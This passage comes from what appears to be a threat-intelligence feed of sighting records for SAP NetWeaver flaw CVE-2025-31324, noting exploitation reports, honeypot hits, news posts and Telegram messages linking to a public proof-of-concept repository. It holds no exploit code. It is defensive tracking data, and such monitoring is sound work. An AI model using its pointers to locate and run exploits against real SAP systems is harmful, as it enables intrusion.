"2025-08-01T18:22:54Z", "date_only": false, "value": "2025-08-01T18:22:54.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/xakep_ru/17901", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9c7fada1-4aa0-4771-ab61-98ecdd9b67e2", "content": "\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 SAP NetWeaver \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f Linux-\u043c\u0430\u043b\u0432\u0430\u0440\u0438 Auto-Color\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Darktrace \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SAP NetWeaver (CVE-2025-31324) \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f Linux-\u043c\u0430\u043b\u0432\u0430\u0440\u0438 Auto-Color \u0432 \u0441\u0435\u0442\u044c \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0439 \u0445\u0438\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\nhttps://xakep.ru/2025/08/01/auto-color-attacks/", "url": "https://t.me/xakep_ru/17901"}, {"timestamp": "2025-08-02T00:00:00Z", "date_only": false, "value": "2025-08-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "00c430fa-7b2c-4545-b3f6-b8820a26c79f"}, {"timestamp": "2025-08-03T21:02:45.186Z", "date_only": false, "value": "2025-08-03T21:02:45.186131Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lvjlbvqzoa25", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4af2bd2f-63f8-4eb2-a6ba-e53961de60a7", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lvjlbvqzoa25"}, {"timestamp": "2025-08-04T02:27:55.312Z", "date_only": false, "value": "2025-08-04T02:27:55.312916Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lvk5hhwcjx2n", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7a85a989-9792-40a5-92e1-c21f1a258a0a", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lvk5hhwcjx2n"}, {"timestamp": "2025-08-06T00:00:00Z", "date_only": false, "value": "2025-08-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "19ab7f7f-52ac-4951-a713-0059096f9f86"}, {"timestamp": "2025-08-06T01:04:20Z", "date_only": false, "value": "2025-08-06T01:04:20.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/853ff921-86fb-463b-bc2a-2860bf336b81", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d440e84d-8360-45a6-9776-79de390b17e8"}, {"timestamp": "2025-08-08T00:00:00Z", "date_only": false, "value": "2025-08-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-08)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "afa0ec1d-5bf8-42a1-a00e-05502c6a2294"}, {"timestamp": "2025-08-09T00:00:00Z", "date_only": false, "value": "2025-08-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "662d824d-9937-47c2-aaf0-7c1f41843443"}, {"timestamp": "2025-08-11T00:00:00Z", "date_only": false, "value": "2025-08-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cdf60967-5a51-4158-bd41-fba50f37c567"}, {"timestamp": "2025-08-12T00:00:00Z", "date_only": false, "value": "2025-08-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "97a1af17-7d7b-4445-971c-ed2950c10ded"}, {"timestamp": "2025-08-15T00:00:00Z", "date_only": false, "value": "2025-08-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4250b7e3-96af-4166-a69c-a4c2e1eaca6b"}, {"timestamp": "2025-08-15T00:00:00Z", "date_only": false, "value": "2025-08-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "20f30cb2-e15a-4b12-b59e-902eaa1a78b1"}, {"timestamp": "2025-08-15T16:29:30Z", "date_only": false, "value": "2025-08-15T16:29:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/RFrepoV1Chat/424117", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ee531cee-63b5-4cde-8d53-8ba30d148fa1", "content": "bro wtf we got some real ahhh stalkers in dis mf already uploaded the sap 0day poc to github:\n\nhttps://github.com/antichainalysis/sap-netweaver-0day-CVE-2025-31324", "url": "https://t.me/RFrepoV1Chat/424117"}, {"timestamp": "2025-08-15T16:29:31Z", "date_only": false, "value": "2025-08-15T16:29:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BabukLockerGroups/56839", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d661380a-f46e-46f7-b5cb-2d9d0ab20d52", "content": "bro wtf we got some real ahhh stalkers in dis mf already uploaded the sap 0day poc to github:\n\nhttps://github.com/antichainalysis/sap-netweaver-0day-CVE-2025-31324", "url": "https://t.me/BabukLockerGroups/56839"}, {"timestamp": "2025-08-15T21:00:04Z", "date_only": false, "value": "2025-08-15T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/v0lJTL3KepCUnsg-7LQlBaYUlXYZC314z2lTxUwZsVVrVrw", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9cbad4fa-89a0-4db9-892a-2d93f9609127"}, {"timestamp": "2025-08-18T00:00:00Z", "date_only": false, "value": "2025-08-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "76c0db22-faed-4625-9c14-2f9848a61e8c"}, {"timestamp": "2025-08-18T11:32:32.454Z", "date_only": false, "value": "2025-08-18T11:32:32.454477Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/allaboutsecurity.bsky.social/post/3lwocg3tai22o", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a286ab86-54a4-4a0e-99e8-60a9ae60139f", "url": "https://bsky.app/profile/allaboutsecurity.bsky.social/post/3lwocg3tai22o"}, {"timestamp": "2025-08-19T00:00:00Z", "date_only": false, "value": "2025-08-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-19)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e27c8454-a007-4a78-970a-f33ee586a2ce"}, {"timestamp": "2025-08-19T11:00:00Z", "date_only": false, "value": "2025-08-19T11:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://thehackernews.com/2025/08/public-exploit-for-chained-sap-flaws.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4101c36c-74f2-4204-bc10-44122425d721", "url": "https://thehackernews.com/2025/08/public-exploit-for-chained-sap-flaws.html"}, {"timestamp": "2025-08-19T16:08:55.818Z", "date_only": false, "value": "2025-08-19T16:08:55.818547Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/packetstorm.bsky.social/post/3lwrcdemtpo2o", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fab00c39-75f2-4b0e-9a69-864091fac3e9", "url": "https://bsky.app/profile/packetstorm.bsky.social/post/3lwrcdemtpo2o"}, {"timestamp": "2025-08-19T16:14:52.649Z", "date_only": false, "value": "2025-08-19T16:14:52.649834Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lwrcnychav2b", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2506b36b-fe5a-47b7-892f-add59b623a40", "url": "https://bsky.app/profile/nimblenerd.social/post/3lwrcnychav2b"}, {"timestamp": "2025-08-19T16:26:36.799Z", "date_only": false, "value": "2025-08-19T16:26:36.799377Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3lwrdcvur5223", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1916b442-69f1-4882-85d6-082210999cc6", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3lwrdcvur5223"}, {"timestamp": "2025-08-19T16:38:34.288Z", "date_only": false, "value": "2025-08-19T16:38:34.288608Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3lwrdya7ts22k", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0951de94-6ebf-475c-9daa-616fc8e4d2cf", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3lwrdya7ts22k"}, {"timestamp": "2025-08-19T17:58:37.011Z", "date_only": false, "value": "2025-08-19T17:58:37.011511Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3lwrihho3rc2d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f3d21ed4-bea1-4da1-91eb-4f903b52a67f", "url": "https://bsky.app/profile/undercodenews.bsky.social/post/3lwrihho3rc2d"}, {"timestamp": "2025-08-19T21:59:29.355Z", "date_only": false, "value": "2025-08-19T21:59:29.355566Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3lwrvw6fjbq2g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5fb7fcac-f9e9-4a42-b3aa-dc00d3095b67", "url": "https://bsky.app/profile/undercodenews.bsky.social/post/3lwrvw6fjbq2g"}, {"timestamp": "2025-08-19T23:24:26Z", "date_only": false, "value": "2025-08-19T23:24:26.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/zKFG73BYVSRhEPbGmYVYsZNGKOSqp4CxMnirk1glsZ7y4g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5797b462-39f8-4755-b696-34e22f0c0c32"}, {"timestamp": "2025-08-20T00:00:00Z", "date_only": false, "value": "2025-08-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ee85fcac-1bd1-4e37-aafd-1deee3c02464"}, {"timestamp": "2025-08-20T00:00:00Z", "date_only": false, "value": "2025-08-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9a7fe02e-21e8-4ffe-a32d-3e232d609492"}, {"timestamp": "2025-08-20T00:24:36.039Z", "date_only": false, "value": "2025-08-20T00:24:36.039134Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecindustry.bsky.social/post/3lws5zoxyuu2l", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5b7e4ca6-a861-427c-8423-74bfa4702990", "url": "https://bsky.app/profile/infosecindustry.bsky.social/post/3lws5zoxyuu2l"}, {"timestamp": "2025-08-20T05:34:39.837Z", "date_only": false, "value": "2025-08-20T05:34:39.837571Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lwspe4cu622a", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1dc02580-5452-4496-b9e6-5839a610ada8", "url": "https://bsky.app/profile/shiojiri.com/post/3lwspe4cu622a"}, {"timestamp": "2025-08-20T06:27:29.902Z", "date_only": false, "value": "2025-08-20T06:27:29.902540Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lwsschdhpgg2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c29f18e9-5c88-437b-aea3-3bda898216ed", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lwsschdhpgg2"}, {"timestamp": "2025-08-20T07:56:38Z", "date_only": false, "value": "2025-08-20T07:56:38.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/861ab3d9-0cfa-40b9-b0df-c87882c650c3", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "dfad7136-0f09-46f1-99c3-616f5ad7dd3e"}, {"timestamp": "2025-08-20T08:53:20Z", "date_only": false, "value": "2025-08-20T08:53:20.000000Z", "kind": "sighting", "label": "Seen", "source": "https://threatintel.cc/2025/08/20/exploit-for-critical-sap-netweaver.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "40cf42c7-66dc-4583-84eb-4d349a43d4bc", "url": "https://threatintel.cc/2025/08/20/exploit-for-critical-sap-netweaver.html"}, {"timestamp": "2025-08-20T10:33:21.918Z", "date_only": false, "value": "2025-08-20T10:33:21.918479Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lwta2afqxv22", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "48cd04e2-1663-42a3-855a-5a66a93a4b44", "url": "https://bsky.app/profile/securityrss.bsky.social/post/3lwta2afqxv22"}, {"timestamp": "2025-08-20T10:40:28.196Z", "date_only": false, "value": "2025-08-20T10:40:28.196893Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3lwtagskze22h", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7341c59f-b114-404f-9071-b528400cded0", "url": "https://bsky.app/profile/helpnetsecurity.com/post/3lwtagskze22h"}, {"timestamp": "2025-08-20T10:53:14.118Z", "date_only": false, "value": "2025-08-20T10:53:14.118874Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/edwardk/statuses/115060715927116071", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "c1332691-ae5a-43c9-ae1c-e30b38885a4d", "url": "https://infosec.exchange/users/edwardk/statuses/115060715927116071"}, {"timestamp": "2025-08-20T11:34:26.083Z", "date_only": false, "value": "2025-08-20T11:34:26.083589Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lwtdbv4pebl2", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "67e4e01a-98cf-4e28-845e-a014c09c2f21", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lwtdbv4pebl2"}, {"timestamp": "2025-08-20T16:10:19.426Z", "date_only": false, "value": "2025-08-20T16:10:19.426094Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/leekthehack.bsky.social/post/3lwtsukft322a", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c3c7c365-2e8e-4b93-be42-94cf30bcd653", "url": "https://bsky.app/profile/leekthehack.bsky.social/post/3lwtsukft322a"}, {"timestamp": "2025-08-20T16:10:20.040Z", "date_only": false, "value": "2025-08-20T16:10:20.040110Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/leekthehack.bsky.social/post/3lwtsuq3x722a", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3d00994e-761d-4032-8416-6c0c27734eee", "url": "https://bsky.app/profile/leekthehack.bsky.social/post/3lwtsuq3x722a"}, {"timestamp": "2025-08-20T21:18:09.597Z", "date_only": false, "value": "2025-08-20T21:18:09.597747Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lwue37eh7e2b", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8b14632a-54c8-4211-acf9-973dfedb77e1", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3lwue37eh7e2b"}, {"timestamp": "2025-08-20T21:21:47.659Z", "date_only": false, "value": "2025-08-20T21:21:47.659783Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ehcgroup.bsky.social/post/3lwuebnlzx22m", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a9d04d2f-bd51-4f2b-851f-aa665e885bc5", "url": "https://bsky.app/profile/ehcgroup.bsky.social/post/3lwuebnlzx22m"}, {"timestamp": "2025-08-20T23:49:01.279Z", "date_only": false, "value": "2025-08-20T23:49:01.279339Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lwumiyfrsc2i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e3219e8f-120f-449b-940f-1527603f03ea", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lwumiyfrsc2i"}, {"timestamp": "2025-08-21T00:00:00Z", "date_only": false, "value": "2025-08-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-21)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9f6ec36a-1353-4823-9d16-ef04e0515ef6"}, {"timestamp": "2025-08-21T02:15:11.705Z", "date_only": false, "value": "2025-08-21T02:15:11.705368Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lwuuoepmx525", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d56368ab-0d62-42b5-8d61-e6932d8da8e2", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lwuuoepmx525"}, {"timestamp": "2025-08-21T03:18:13.929Z", "date_only": false, "value": "2025-08-21T03:18:13.929103Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lwuy6fjges2n", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "12351146-b983-4a3e-815c-28274f5a3db1", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lwuy6fjges2n"}, {"timestamp": "2025-08-21T06:03:27.375Z", "date_only": false, "value": "2025-08-21T06:03:27.375886Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lwvbgk2usc2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9abb9ee6-3612-4586-b42b-c735619f81c0", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lwvbgk2usc2c"}, {"timestamp": "2025-08-21T10:03:53Z", "date_only": false, "value": "2025-08-21T10:03:53.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/853ff921-86fb-463b-bc2a-2860bf336b81", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e0d506dd-2bb0-4170-a50d-d81514a5d9c9"}, {"timestamp": "2025-08-21T22:33:04.752Z", "date_only": false, "value": "2025-08-21T22:33:04.752383Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lwwyq4kk6s2z", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4fb37970-0569-4406-9841-e9ff3fbe36f1", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lwwyq4kk6s2z"}, {"timestamp": "2025-08-22T00:00:00Z", "date_only": false, "value": "2025-08-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-22)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8b153b1f-1aed-43c0-aa96-b9abfff44965"}, {"timestamp": "2025-08-22T02:25:36Z", "date_only": false, "value": "2025-08-22T02:25:36.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/6a8e5bb3-f4fc-5687-8689-d3e4069b9c4d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ba71334f-6b5d-40a6-b2d0-334799109c1b"}, {"timestamp": "2025-08-22T03:00:34.634Z", "date_only": false, "value": "2025-08-22T03:00:34.634983Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/davidi99.bsky.social/post/3lwxhohaf422t", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6f16e4cd-b693-4a7f-90b2-b90d1b0b7367", "url": "https://bsky.app/profile/davidi99.bsky.social/post/3lwxhohaf422t"}, {"timestamp": "2025-08-23T00:00:00Z", "date_only": false, "value": "2025-08-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-23)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "238f4d0f-5b84-4c9e-a7ff-90d89c5f3ebb"}, {"timestamp": "2025-08-23T11:15:50Z", "date_only": false, "value": "2025-08-23T11:15:50.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/18fe1e97-330e-4866-adf8-efd5dc83b838", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "757d34cc-bcdc-4062-9306-ede4ddaa64ae"}, {"timestamp": "2025-08-24T00:00:00Z", "date_only": false, "value": "2025-08-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "34edd1f2-0558-4512-8ed8-7175a5f51f95"}, {"timestamp": "2025-08-25T00:00:00Z", "date_only": false, "value": "2025-08-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-25)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d885f3ea-3bb2-46c1-a42c-1ea90a3eab0a"}, {"timestamp": "2025-08-26T00:00:00Z", "date_only": false, "value": "2025-08-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-26)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e58836f6-c9e7-4fd6-8902-09175db2cc7c"}, {"timestamp": "2025-08-27T00:00:00Z", "date_only": false, "value": "2025-08-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c251108e-542f-454c-9eb9-3e4ad4daa6a9"}, {"timestamp": "2025-08-27T14:01:55.485Z", "date_only": false, "value": "2025-08-27T14:01:55.485020Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-5996e413-521accfb6cd2622e", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5c6d8e80-1121-46fc-a511-aab7be88af02", "url": "https://poliverso.org/objects/0477a01e-5996e413-521accfb6cd2622e"}, {"timestamp": "2025-08-27T15:30:05Z", "date_only": false, "value": "2025-08-27T15:30:05.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/7370", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5d90c7e2-6470-4089-bea4-543bd079bd0a", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u0447\u0435\u0442 \u0437\u0430 2 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0433\u043e\u0434\u0430.\n\n\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0432\u0435\u0441\u044c\u043c\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u043d\u043e\u0439.\n\n\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430: UEFI, \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043d\u0430\u0448\u0435\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043a\u0430\u043a \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u043f\u0435\u0440\u0438\u043e\u0434\u044b,\u00a0\u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430, \u043a\u0430\u043a \u0438 \u043f\u0440\u0435\u0436\u0434\u0435, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft Office, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 